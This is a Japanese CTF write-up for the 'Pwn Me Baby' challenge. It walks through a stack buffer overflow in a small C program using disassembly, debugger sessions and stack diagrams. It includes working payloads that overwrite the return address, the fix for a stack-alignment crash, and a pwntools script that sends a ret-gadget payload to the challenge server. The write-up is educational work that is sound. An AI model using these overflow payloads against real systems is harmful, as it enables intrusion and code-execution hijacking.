問題

https://ctf.fwectf.com/challenges#Pwn%20Me%20Baby-10

Imgur

nc chal2.fwectf.com 8000 でプログラムが動いており、それに不正な入力をおこなってフラグを獲得する問題です。 サーバでは以下のプログラムが動いています。

#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void flag(){
  char buf[128]={0};
  int fd=open("flag.txt",O_RDONLY);
  if(fd==-1){
    puts("Couldn't find flag.txt");
    return;
  }
  read(fd,buf,128);
  puts(buf);
}
 
int main(void){
  char buf[16];
  printf("I will receive a message and do nothing else:");
  scanf("%s",buf);
  return 0;
}
 
__attribute__((constructor)) void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

コンテスト中は解けなかったため調べながら解きます。

フラグの獲得方法としては

  • main 関数の stack-frame の x30 = link-register に flag 関数のアドレスを不正に入力する
    • scanf("%d") で不正な文字列を入力し、 link-register になんとかしていれる です。

(事前学習)C 言語プログラムがどう実行されているかを学ぶ

C 言語プログラムを実行するまでになにがおこなわれるか objdump を使ってみる gdb & lldb のつかいかた

上記 Note によって

  • C 言語ソースコードがどうやって実行可能ファイルまで変換されているのか
  • C 言語プログラムがどうメモリアドレスに展開されて、命令が配置されるのか

を学びました。

上記知識をもとに問題に取り組みます。

Pwn Me Baby の問題をコンパイルする

UTM 上の Kali Linux 上で main.c をコンパイルして問題を解いていきます。 (Full Weak Engineer CTF 2025) Pwn Me Baby を学びながら解く のときに利用した clanglldb を利用します。

└─$ lscpu
Architecture:                aarch64
  CPU op-mode(s):            64-bit
  Byte Order:                Little Endian
clang -S -O0 -g3 main.c
clang -c -g3 main.s
clang main.o -o main

objdump をつかって各関数のメモリアドレスを控えておきます。

  • _start
  • flag
    • 00000000000009e8
  • main
    • 0000000000000a68
  • init
    • 0000000000000aac
    • __attribute__((constructor)) で定義された関数で init という名前でなくてよい
    • _main 前に実行される
objdump -d main
 
main:     file format elf64-littleaarch64
 
Disassembly of section .text:
 
00000000000008c0 <_start>:
 8c0:   d503245f        bti     c
 8c4:   d280001d        mov     x29, #0x0                       // #0
 8c8:   d280001e        mov     x30, #0x0                       // #0
 8cc:   aa0003e5        mov     x5, x0
 8d0:   f94003e1        ldr     x1, [sp]
 8d4:   910023e2        add     x2, sp, #0x8
 8d8:   910003e6        mov     x6, sp
 8dc:   f00000e0        adrp    x0, 1f000 <__abi_tag+0x1e328>
 8e0:   f947ec00        ldr     x0, [x0, #4056]
 8e4:   d2800003        mov     x3, #0x0                        // #0
 8e8:   d2800004        mov     x4, #0x0                        // #0
 8ec:   97ffffc5        bl      800 <__libc_start_main@plt>
 8f0:   97ffffdc        bl      860 <abort@plt>
 
00000000000009e8 <flag>:
 9e8:   d10283ff        sub     sp, sp, #0xa0
 9ec:   a9097bfd        stp     x29, x30, [sp, #144]
 9f0:   910243fd        add     x29, sp, #0x90
 9f4:   910043e0        add     x0, sp, #0x10
 9f8:   d2801002        mov     x2, #0x80                       // #128
 9fc:   2a1f03e1        mov     w1, wzr
 a00:   b9000be1        str     w1, [sp, #8]
 a04:   97ffff8f        bl      840 <memset@plt>
 a08:   b9400be1        ldr     w1, [sp, #8]
 a0c:   90000000        adrp    x0, 0 <_init-0x7b8>
 a10:   912cc800        add     x0, x0, #0xb32
 a14:   97ffff87        bl      830 <open@plt>
 a18:   b9000fe0        str     w0, [sp, #12]
 a1c:   b9400fe8        ldr     w8, [sp, #12]
 a20:   31000508        adds    w8, w8, #0x1
 a24:   540000c1        b.ne    a3c <flag+0x54>  // b.any
 a28:   14000001        b       a2c <flag+0x44>
 a2c:   90000000        adrp    x0, 0 <_init-0x7b8>
 a30:   912c9000        add     x0, x0, #0xb24
 a34:   97ffff8f        bl      870 <puts@plt>
 a38:   14000009        b       a5c <flag+0x74>
 a3c:   b9400fe0        ldr     w0, [sp, #12]
 a40:   910043e1        add     x1, sp, #0x10
 a44:   f90003e1        str     x1, [sp]
 a48:   d2801002        mov     x2, #0x80                       // #128
 a4c:   97ffff91        bl      890 <read@plt>
 a50:   f94003e0        ldr     x0, [sp]
 a54:   97ffff87        bl      870 <puts@plt>
 a58:   14000001        b       a5c <flag+0x74>
 a5c:   a9497bfd        ldp     x29, x30, [sp, #144]
 a60:   910283ff        add     sp, sp, #0xa0
 a64:   d65f03c0        ret
 
0000000000000a68 <main>:
 a68:   d100c3ff        sub     sp, sp, #0x30
 a6c:   a9027bfd        stp     x29, x30, [sp, #32]
 a70:   910083fd        add     x29, sp, #0x20
 a74:   2a1f03e8        mov     w8, wzr
 a78:   b9000be8        str     w8, [sp, #8]
 a7c:   b81fc3bf        stur    wzr, [x29, #-4]
 a80:   90000000        adrp    x0, 0 <_init-0x7b8>
 a84:   912cec00        add     x0, x0, #0xb3b
 a88:   97ffff86        bl      8a0 <printf@plt>
 a8c:   90000000        adrp    x0, 0 <_init-0x7b8>
 a90:   912da400        add     x0, x0, #0xb69
 a94:   910033e1        add     x1, sp, #0xc
 a98:   97ffff7a        bl      880 <__isoc99_scanf@plt>
 a9c:   b9400be0        ldr     w0, [sp, #8]
 aa0:   a9427bfd        ldp     x29, x30, [sp, #32]
 aa4:   9100c3ff        add     sp, sp, #0x30
 aa8:   d65f03c0        ret
 
0000000000000aac <init>:
 aac:   d100c3ff        sub     sp, sp, #0x30
 ab0:   a9027bfd        stp     x29, x30, [sp, #32]
 ab4:   910083fd        add     x29, sp, #0x20
 ab8:   f00000e8        adrp    x8, 1f000 <__abi_tag+0x1e328>
 abc:   f947e508        ldr     x8, [x8, #4040]
 ac0:   f9400100        ldr     x0, [x8]
 ac4:   aa1f03e1        mov     x1, xzr
 ac8:   f90007e1        str     x1, [sp, #8]
 acc:   52800042        mov     w2, #0x2                        // #2
 ad0:   b81f43a2        stur    w2, [x29, #-12]
 ad4:   aa1f03e3        mov     x3, xzr
 ad8:   f81f83a3        stur    x3, [x29, #-8]
 adc:   97ffff51        bl      820 <setvbuf@plt>
 ae0:   f94007e1        ldr     x1, [sp, #8]
 ae4:   b85f43a2        ldur    w2, [x29, #-12]
 ae8:   f85f83a3        ldur    x3, [x29, #-8]
 aec:   f00000e8        adrp    x8, 1f000 <__abi_tag+0x1e328>
 af0:   f947e108        ldr     x8, [x8, #4032]
 af4:   f9400100        ldr     x0, [x8]
 af8:   97ffff4a        bl      820 <setvbuf@plt>
 afc:   a9427bfd        ldp     x29, x30, [sp, #32]
 b00:   9100c3ff        add     sp, sp, #0x30
 b04:   d65f03c0        ret
 

lldb でいろいろ調べる

lldb でデバッガして、main 関数のリターンアドレスになにを入力すればいいのか考えます。

main 関数にブレークポイントを設定し、プログラムを実行して停止させます。 このとき

  • main 関数は 0xaaaaaaaa0a68 番地から始まっている
  • main 関数は スタックフレームとして 0x30 = 48 番地だけ利用する
    • sp = 0x0000ffffffffefe0
    • 0x0000ffffffffefe0 ~ 0x0000fffffffff010 の領域をスタックフレームとして使う
  • main 関数呼び出し元のリターンアドレス x30 は [sp, #0x28] ~ [sp, #0x2F] にコピーされている
    • main 関数が終わったら x30 = lr = 0x0000fffff7e0229c = libc.so.6___lldb_unnamed_symbol3105 という関数に戻る
    • x/1g $sp+0x280xfffffffff008: 0x0000fffff7e0229c で想定どおり
      • x30 リターンアドレスが $sp+0x28 にちゃんと入っている

ということがわかります。

Breakpoint 1: where = main`main + 24 at main.c:19:3, address = 0x0000000000000a80
(lldb) run
Process 1937002 launched: '/home/ganyariya/ctf/fullweakctf/main' (aarch64)
Process 1937002 stopped
* thread #1, name = 'main', stop reason = breakpoint 1.1
    frame #0: 0x0000aaaaaaaa0a80 main`main at main.c:19:3
   16
   17   int main(void){
   18     char buf[16];
-> 19     printf("I will receive a message and do nothing else:");
   20     scanf("%s",buf);
   21     return 0;
   22   }
(lldb) dis
main`main:
    0xaaaaaaaa0a68 <+0>:  sub    sp, sp, #0x30
    0xaaaaaaaa0a6c <+4>:  stp    x29, x30, [sp, #0x20]
    0xaaaaaaaa0a70 <+8>:  add    x29, sp, #0x20
    0xaaaaaaaa0a74 <+12>: mov    w8, wzr
    0xaaaaaaaa0a78 <+16>: str    w8, [sp, #0x8]
    0xaaaaaaaa0a7c <+20>: stur   wzr, [x29, #-0x4]
->  0xaaaaaaaa0a80 <+24>: adrp   x0, 0
    0xaaaaaaaa0a84 <+28>: add    x0, x0, #0xb3b
    0xaaaaaaaa0a88 <+32>: bl     0xaaaaaaaa08a0 ; symbol stub for: printf
    0xaaaaaaaa0a8c <+36>: adrp   x0, 0
    0xaaaaaaaa0a90 <+40>: add    x0, x0, #0xb69
    0xaaaaaaaa0a94 <+44>: add    x1, sp, #0xc
    0xaaaaaaaa0a98 <+48>: bl     0xaaaaaaaa0880 ; symbol stub for: __isoc99_scanf
    0xaaaaaaaa0a9c <+52>: ldr    w0, [sp, #0x8]
    0xaaaaaaaa0aa0 <+56>: ldp    x29, x30, [sp, #0x20]
    0xaaaaaaaa0aa4 <+60>: add    sp, sp, #0x30
    0xaaaaaaaa0aa8 <+64>: ret
(lldb) register read
General Purpose Registers:
        x0 = 0x0000000000000001
		...
        fp = 0x0000fffffffff000
        lr = 0x0000fffff7e0229c  libc.so.6`___lldb_unnamed_symbol3105 + 124
        sp = 0x0000ffffffffefe0
        pc = 0x0000aaaaaaaa0a80  main`main + 24 at main.c:19:3
 

続いて scanf buf が行っているアセンブリコードを追ってみます。

  char buf[16];
  scanf("%s",buf);
 
# x0 に "%d" のアドレスを入れて、scanf 関数の第 1 引数として渡す
0xaaaaaaaa0a8c <+36>: adrp x0, 0
0xaaaaaaaa0a90 <+40>: add x0, x0, #0xb69
# x1 レジスタに $sp + #0xc (12) のアドレスを渡す
0xaaaaaaaa0a94 <+44>: add x1, sp, #0xc
0xaaaaaaaa0a98 <+48>: bl 0xaaaaaaaa0880 ; symbol stub for: __isoc99_scanf

ARM のアセンブリ命令を調べる

adrp x0, 0 によって、 0xaaaaaaaa0a8c 命令のページの先頭アドレス 0xaaaaaaaa0000 を x0 レジスタに格納します。 続いて、 0xb69 を足して、 0x0000aaaaaaaa0b69 が x0 レジスタに格納されます。 0x0000aaaaaaaa0b69 には “%s” という scanf で利用する文字列が入っています。

(lldb) memory read --format s 0xaaaaaaaa0b69
0xaaaaaaaa0b69: "%s"

0xaaaaaaaa0a94 <+44>: add x1, sp, #0xc で x1 レジスタに scanf で入力された文字列を格納するメモリアドレスを入れます。 sp = 0x0000ffffffffefe0 のため、 x1 = 0x0000ffffffffefec となります。 char buf[16]; 16 byte を入力できるため、 0x0000ffffffffefec ($sp + #0xc) ~ 0x0000ffffffffeffc ($sp + #0x1c) が buf の値が入る範囲になります。

よって、 0x0000ffffffffefec から 0x0000ffffffffeffc という buf の範囲をこえて不正に入力し、リターンアドレスである 0xfffffffff008 番地に、0xaaaaaaaa09e8 を入力すればいいです。 すると、強引に flag 関数を実行できます。

scanf に不正な入力をしてリターンアドレスの番地に flag 関数のアドレス番地を書き込む

url: https://www.intellilink.co.jp/article/column/ctf01.html
title: "CTFで学ぶ脆弱性(スタックバッファオーバーフロー編・その1) | 株式会社NTTデータ先端技術"
description: "株式会社NTTデータ先端技術は、基幹業務情報の設計、統合、運用および最新技術上構築された通信システムプラットフォームを通じて、貴社のビジネスに価値を提供する専門的な企業です。"
host: www.intellilink.co.jp
favicon: https://www.intellilink.co.jp/-/media/ndil/ndil-jp/home/favicon.svg?h=16&w=16&hash=216869B34D73EE4E73398211B12BDB55
image: https://www.intellilink.co.jp/-/media/ndil/ndil-jp/home/carousel/top_03.jpg?h=1050&w=2804&hash=31F1B1A040A0FA7B497BDCE045E9AF2F
  • buf の先頭アドレス: 0x0000ffffffffefec ($sp + #0xc)
  • x30 (lr) の先頭アドレス: 0xfffffffff008 (`$sp + 0x28)
  • scanf で入力すべきゴミ padding: #0x28 - #0xc = 28 = #0x1c

よって、 A*{28}[flag関数のアドレス] と入力すればよさそうです。l ただ、ここで以下の問題が発生しました。

  • flag 関数のアドレスは動的に毎回かわる ASLR
  • もし ASLR が無効化されており、 flag 関数が固定アドレスだったたとしても、そのアドレスをバイト列としてどう scanf に入れればいいかわからない

よって、 Writeup を見させていただきながらこれらの問題を解決します。

Writeup を見ながら不明点を明らかにしつつ解く

url: https://zenn.dev/koufu193/articles/b0aa6291d5655c#pwn-me-baby(pwn%2C-beginner)
title: "Full Weak Engineer CTF 2025 作問者Writeup"
host: zenn.dev
image: https://res.cloudinary.com/zenn/image/upload/s--efiOmqC5--/c_fit%2Cg_north_west%2Cl_text:notosansjp-medium.otf_55:Full%2520Weak%2520Engineer%2520CTF%25202025%2520%25E4%25BD%259C%25E5%2595%258F%25E8%2580%2585Writeup%2Cw_1010%2Cx_90%2Cy_100/g_south_west%2Cl_text:notosansjp-medium.otf_37:koufu193%2Cx_203%2Cy_121/g_south_west%2Ch_90%2Cl_fetch:aHR0cHM6Ly9zdG9yYWdlLmdvb2dsZWFwaXMuY29tL3plbm4tdXNlci11cGxvYWQvYXZhdGFyLzBlNzlhNjVhYWEuanBlZw==%2Cr_max%2Cw_90%2Cx_87%2Cy_95/v1627283836/default/og-base-w1200-v2.png
url: https://tan.hatenadiary.jp/entry/2025/09/09/032408
title: "Full Weak Engineer CTF 2025 write-up - プログラム系統備忘録ブログ"
description: "Full Weak Engineer CTF 2025へ1人チームで参加しました。そのwrite-up記事です。 作問者様Writeupへのリンクや各種問題の配布ファイル含む内容が、GitHubで公開されています: https://github.com/full-weak-engineer/FWE_CTF_2025_public"
host: tan.hatenadiary.jp
favicon: https://tan.hatenadiary.jp/icon/link
image: https://cdn.image.st-hatena.com/image/scale/7d94dfd50567a88255b3ba0a6488516e6950e3a2/backend=imagemagick;version=1;width=1300/https%3A%2F%2Fcdn-ak.f.st-hatena.com%2Fimages%2Ffotolife%2FT%2FTan90909090%2F20250908%2F20250908222956.png

配布ファイルのセキュリティ機構を調べる

配布ファイルの main 実行可能プログラムを調べて ASLR が有効か?などを調べないといけません。 そのため ここからは ganyariya が UTM Kali Linux (mac arm) 上でコンパイルしたものは利用せず、配布されたファイル (x86-64) をそのまま利用します。 よって、ここまででてきていた命令形式ならびにアドレスはガラッと変わります。

url: https://docs.pwntools.com/en/stable/commandline.html
title: "Command Line Tools — pwntools 4.14.1 documentation"
host: docs.pwntools.com
url: https://daisuke20240310.hatenablog.com/entry/checksec
title: "実行ファイルのセキュリティ機構を調べるツール「checksec」のまとめ - 土日の勉強ノート"
description: "前回 は、Pwnable問題に取り組みました。CTF のカテゴリの中でも、一番難しいと言われるだけあって、かなり苦労しました。 今回は、前回の Pwnable問題でも使用した、実行ファイルのセキュリティ機構(脆弱性緩和技術とも言う)について整理したいと思います。セキュリティ機構を調べるツールは、従来は「checksec」を使用していましたが、問題があったので、現在は、pwntools の checksec を使用しています。 実行ファイルのセキュリティ機構とは、もし、実行ファイルに脆弱性が存在していたとしても、その脆弱性に対する攻撃をやりにくくする仕組みのことです。 例えば、スタックカナリヤは…"
host: daisuke20240310.hatenablog.com
favicon: https://daisuke20240310.hatenablog.com/icon/link
image: https://cdn.image.st-hatena.com/image/scale/a9faaf70241b071b9cf6fd0f140470383262ebe4/backend=imagemagick;version=1;width=1300/https%3A%2F%2Fcdn-ak.f.st-hatena.com%2Fimages%2Ffotolife%2Fd%2Fdaisuke20240310%2F20240914%2F20240914192747.png

pwntoolsCTF 用の python で書かれた便利フレームワークです。 この pwntools の CLI を利用して main 実行可能プログラムのセキュリティチェックをします。

checksec でファイルのセキュリティチェックを行えます。

┌──(ganyariya㉿utmkali)-[~/ctf/fullweakctf/pwnmebaby/dist]
└─$ pwn checksec main
[*] '/home/ganyariya/ctf/fullweakctf/pwnmebaby/dist/main'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

No PIE であることから命令アドレスが固定であることがわかります。 よって、 flag 関数のアドレスを特定し、それを scanf で入力すればよさそうです。

それでは、あらためて flag 関数ならびに main 関数の実装を見てみます。このときの flag 関数のアドレスを scanf でいれることになります。 ここで、配布された main プログラムは x86-64 であり、命令やスタックフレームの構造が全く違うことに気づきました。 x86-64 形式のスタックフレームの構造を理解し、 scanf で入力すべき攻撃コードを求める必要があります。

そのため、 x86-64 における関数呼び出し時のスタックフレームの挙動を調べる でスタックフレームの挙動をこのタイミングで調べました。めちゃくちゃ右往左往調べながらやってますね…。

x86-64 スタックフレームの挙動を知りたい方は x86-64 における関数呼び出し時のスタックフレームの挙動を調べる を参照ください。

入力すべきバイト列を計算する

main 関数の処理を追い、攻撃として入力すべき文字列を考えます。

objdump -d main
 
0000000000401810 <flag>:
  401810:       53                      push   %rbx
  ...
 
0000000000401630 <main>:
  # 0x18 = 24 だけスタックフレームを確保する
  401630:       48 83 ec 18             sub    $0x18,%rsp
  # 第1引数に printf で表示する文字列を設定する
  # → printf を呼び出す
  401634:       48 8d 3d 35 4c 09 00    lea    0x94c35(%rip),%rdi        # 496270 <slashdot.0+0x64b>
  40163b:       31 c0                   xor    %eax,%eax
  40163d:       e8 2e 34 00 00          call   404a70 <_IO_printf>
 
  # rsp アドレスを第2引数として渡し文字列を受け取る
  401642:       48 89 e6                mov    %rsp,%rsi
  # "%s" を第1引数として受け取る
  401645:       48 8d 3d 52 49 09 00    lea    0x94952(%rip),%rdi        # 495f9e <slashdot.0+0x379>
  40164c:       31 c0                   xor    %eax,%eax
  # scanf を呼び出す
  40164e:       e8 4d 33 00 00          call   4049a0 <__isoc99_scanf>
  
  401653:       31 c0                   xor    %eax,%eax
  401655:       48 83 c4 18             add    $0x18,%rsp
  401659:       c3                      ret
  40165a:       66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)
 
url: https://stackoverflow.com/questions/75038089/whats-the-difference-between-libc-start-main-and-libc-start-call-main
title: "What's the difference between `__libc_start_main` and `__libc_start_call_main`?"
description: "I recently learnt about the __libc_start_main() function. I thought that __libc_start_main() calls the main() function as described in this answer, but when I checked the stack pointer $rsp after"
host: stackoverflow.com
image: https://cdn.sstatic.net/Sites/stackoverflow/Img/[email protected]?v=73d79a89bded

main 関数は以下の順で呼ばれているようです。これをスタックフレーム構成図に盛り込みます。

  1. _start
  2. _libc_start_main
  3. _libc_start_main_impl
  4. _libc_start_call_main
  5. main

x86-64 における関数呼び出し時のスタックフレームの挙動を調べる で分かったように、 main 関数のスタックフレームは以下のような構成になっています。

0x0
+--------------+

------------ ← rsp
~0x18 = 24 Byte~
scanf で入力されたデータは rsp アドレスから 16 byte 書き込むことを想定している
------------ ← rsp - 0x18
__libc_start_call_main へのリターンアドレス (0x0000000000401dd4)
------------
__libc_start_call_main のスタックフレーム

+--------------+
0x00000000FFFFFFFFF

よって、書き込むべきデータは (padding: 24byte) + 8byte で記入した flag 関数アドレス になります。 aaaaaaaaaaaaaaaaaaaaaaaa\x10\x18\x40\x0\x0\x0\x0\x0

echo の e option で scanf へ攻撃コードを入力したところ、 segmentation-fault になってしまいました。 #buffer-overflow 自体はセグフォにはなりません。バッファオーバーフローした結果、想定していないメモリにアクセスしたときにセグフォエラーになります。 よって、メモリアクセスで想定していないことが起きています

root@pve:~/ctf/fullweakctf/pwnmebaby/dist# echo -e "aaaaaaaaaaaaaaaaaaaaaaaa\x10\x18\x40\x0\x0\x0\x0\x0" | ./main
I will receive a message and do nothing else:Segmentation fault

セグフォエラーを解決しフラグを獲得する

Author Writeup

url: https://zenn.dev/koufu193/articles/b0aa6291d5655c#pwn-me-baby(pwn%2C-beginner)
title: "Full Weak Engineer CTF 2025 作問者Writeup"
host: zenn.dev
image: https://res.cloudinary.com/zenn/image/upload/s--efiOmqC5--/c_fit%2Cg_north_west%2Cl_text:notosansjp-medium.otf_55:Full%2520Weak%2520Engineer%2520CTF%25202025%2520%25E4%25BD%259C%25E5%2595%258F%25E8%2580%2585Writeup%2Cw_1010%2Cx_90%2Cy_100/g_south_west%2Cl_text:notosansjp-medium.otf_37:koufu193%2Cx_203%2Cy_121/g_south_west%2Ch_90%2Cl_fetch:aHR0cHM6Ly9zdG9yYWdlLmdvb2dsZWFwaXMuY29tL3plbm4tdXNlci11cGxvYWQvYXZhdGFyLzBlNzlhNjVhYWEuanBlZw==%2Cr_max%2Cw_90%2Cx_87%2Cy_95/v1627283836/default/og-base-w1200-v2.png

作問者である koufu193 さんの Writeup では以下のように記されています。

これはアライメントの問題なので RSP が 16 の倍数になるような命令が実行されるように調整する。 echo -e “AAAAAAAAAAAAAAAAAAAAAAAA\x11\x18\x40\x00\x00\x00\x00\x00”|./main I will receive a message and do nothing else:fwectf{fake_flag}

koufu193 さんの解法では、実行する命令を 1 つだけずらすことによって、フラグを printf してからセグフォエラー、というエラーの遅延が実現されています。

ここで、 ganyariya 攻撃コードで flag printf 到達する前にセグフォエラーになっていたのは、 stack-alignment が原因でした。 #x86-64 の ABI (Application Binary Interface) において、 XMM-Register でメモリを読み取る場合 stack-pointer が 16byte 境界にあることを期待するようです。 XMM レジスタは 128 bit (16byte) をやりとりするときに使います。

どうやら rsp が 16byte 境界にいないときに、よくない命令を呼び出しているようです。

url: https://uchan.hateblo.jp/entry/2018/02/16/232029
title: "x86-64 モードのプログラミングではスタックのアライメントに気を付けよう - uchan note"
description: "x86-64 モードというのは x86 系 CPU の動作モードの一つです.64 ビットモードとかロングモードと呼ばれることもあります. x86-64 モードではページングが必須だったり,セグメント CS や DS に設定するベースアドレスやリミットが無視されるなど,CPU 自体の制約事項もあります. それ以外に,x86-64 モードでよく使われる ABI による制約もあり,ハマりやすい部分でもあるので本記事で説明します."
host: uchan.hateblo.jp
favicon: https://uchan.hateblo.jp/icon/link
image: https://ogimage.blog.st-hatena.com/6653586347149404892/17391345971616807007/1518791572

stack-pointer がどうなっているか改めて gdb で確認します。 run < <(echo -e "aaaaaaaaaaaaaaaaaaaaaaaa\x10\x18\x40\x0\x0\x0\x0\x0") で攻撃コードを入力し、デバッグしました。

main 関数が実行されているとき、下図のようになっています。 rsp が ea00 という 16byte 境界へ正常にアラインメントされています。 このとき、不正な攻撃を行うと 0x7fffffffea18 のリターンアドレスが flag 関数のアドレスへと書き換えられます。

0x0
+--------------+

------------ 0x7fffffffea00 ← rsp
~0x18 = 24 Byte~
main 関数のスタックフレーム
------------ 0x7fffffffea18
__libc_start_call_main へのリターンアドレス (0x0000000000401dd4) → flag 関数へのリターンアドレスへ書き換えられる
------------ 0x7fffffffea20
__libc_start_call_main のスタックフレーム

+--------------+
0x00000000FFFFFFFFF

main 関数が終了すると flag 関数へのリターンアドレスが読み取られ、 flag 関数のエントリポイント時には以下のような状態になります。

0x0
+--------------+

------------ 0x7fffffffea20 ← rsp
__libc_start_call_main のスタックフレーム

+--------------+
0x00000000FFFFFFFFF

さらにここから flag 関数で以下の 2 つの問題が発生します。

  1. push %rbx が実行されて、 rsp が 0x7fffffffea18 に更新される
    1. → 末尾が 0 でなくなり、アラインメントが 16byte でなくなる
  2. movaps %xmm0,(%rsp) が実行されてセグフォエラーが発生する
    1. movaps は 16byte アラインメントを期待しているのに ea18 でエラーになる
Dump of assembler code for function flag:
=> 0x0000000000401810 <+0>:     push   %rbx
   0x0000000000401811 <+1>:     pxor   %xmm0,%xmm0
   0x0000000000401815 <+5>:     xor    %esi,%esi
   0x0000000000401817 <+7>:     xor    %eax,%eax
   0x0000000000401819 <+9>:     lea    0x9281a(%rip),%rdi        # 0x49403a
   0x0000000000401820 <+16>:    add    $0xffffffffffffff80,%rsp
   0x0000000000401824 <+20>:    movaps %xmm0,(%rsp)

この挙動を回避するために、作問者 Writeup ではリターンアドレスを 0x0000000000401811 に変更しています。 これによって、 rsp が 0x7fffffffea00 のままになり、 16byte アラインメント問題が解決され movaps を乗り越えて flag.txt が表示できています。

自分の環境においても下記の入力によってフラグが獲得できました。 長かった…。

root@pve:~/ctf/fullweakctf/pwnmebaby/dist# echo -e "aaaaaaaaaaaaaaaaaaaaaaaa\x11\x18\x40\x0\x0\x0\x0\x0" | ./main
I will receive a message and do nothing else:fwectf{fake_flag}
I will receive a message and do nothing else:Segmentation fault (core dumped)

python による攻撃コードについて

url: https://yocchin.hatenablog.com/entry/2025/09/01/082550
title: "Full Weak Engineer CTF 2025 Writeup - よっちんのブログ"
description: "この大会は2025/8/29 19:00(JST)~2025/8/31 19:00(JST)に開催されました。 今回もチームで参戦。結果は2550点で733チーム中86位でした。 自分で解けた問題をWriteupとして書いておきます。 Welcome (Welcome) Discordに入り、#announcementチャネルのメッセージを見ると、フラグが書いてあった。 fwectf{w3lc0m3_70_fw3_c7f} Poison Apple (Misc) 問題文は以下の通り。 iOSではウォッチドッグタイマが故障した時に返ってくる不思議な4バイトがあるらしい… 大文字にしてfwectf…"
host: yocchin.hatenablog.com
favicon: https://yocchin.hatenablog.com/icon/link
image: https://cdn.image.st-hatena.com/image/scale/38b1158f1a36843da2fce140afd8d7e0c1014f71/backend=imagemagick;version=1;width=1300/https%3A%2F%2Fcdn-ak.f.st-hatena.com%2Fimages%2Ffotolife%2Fs%2Fsatou-y%2F20250901%2F20250901075717.jpg

よっちんさんの解法で pwntools の使い方ならびに ret address の使い方を学びます。

作問者 Writeup と異なり、もう 1 段階 ret を噛ませることで rsp を強引に 8byte ずらして揃うようにしています。 やっていることは以下です。

  • __libc_start_call_main へのリターンアドレスが記録されていたメモリを、 ret 命令が呼ばれているアドレスに書き換える
  • __libc_start_call_main のスタックフレームが始まっているメモリを、flag 関数のアドレスへ書き換える

つまり、1段階 ret を追加し 8 byte rsp をずらしています。 その結果、flag 関数が始まる時点における rsp の値が 0x7fffffffea28 となり、そこから push %rbx で 0x7fffffffea20 の状態で movaps を迎えられます。

0x0
+--------------+

------------ 0x7fffffffea00 ← rsp
~0x18 = 24 Byte~
main 関数のスタックフレーム
------------ 0x7fffffffea18
__libc_start_call_main へのリターンアドレス (0x0000000000401dd4) → 0x401016 (init 関数の ret 命令) へ書き換える
------------ 0x7fffffffea20
__libc_start_call_main のスタックフレーム → flag 関数のアドレスへ書き換える
------------ 0x7fffffffea28

+--------------+
0x00000000FFFFFFFFF

こちらを解くような python コードを writeup を参考に書いてみます。 Pwntools で CTF 問題を解くpwntools の使い方をまとめながら解きました。

  • 引数の数によってローカル・リモートを分ける
  • pwn.remote, process によって任意のプロセスと TCP メッセージがやり取りできる
  • pack, p32, p64... によって int/byte が簡単に変換できる

など、非常に便利そうなので pwn による byte 操作のときにつかっていこうとおもいます。

#!/usr/bin/env python3
from pwn import *
 
main_path = './main'
 
if len(sys.argv) == 1:
        p = remote('chal2.fwectf.com', 8000)
else:
        p = process(main_path)
 
elf = ELF(main_path)
 
# ret 命令のアドレス
ret_addr = 0x401016
flag_addr = elf.symbols['flag']
 
payload = b'A' * 24
payload += p64(ret_addr)
payload += p64(flag_addr)
 
# I will ... else: の出力を待つ
data = p.recvuntil(b'else').decode()
print(data, end='')
print(payload)
 
# ./main に payload を TCP で送る
p.sendline(payload)
 
data = p.recvline().decode().rstrip()
print(data)

まとめ

Pwn Me Baby を色々と調べながら解いてきました。

pwn について少し理解が深まってため、次回の CTF コンテストでは優先的に pwn へチャレンジしてみようとおもいます。

色々と学びがあったため時間をみつけて zenn へ記事化していこう…。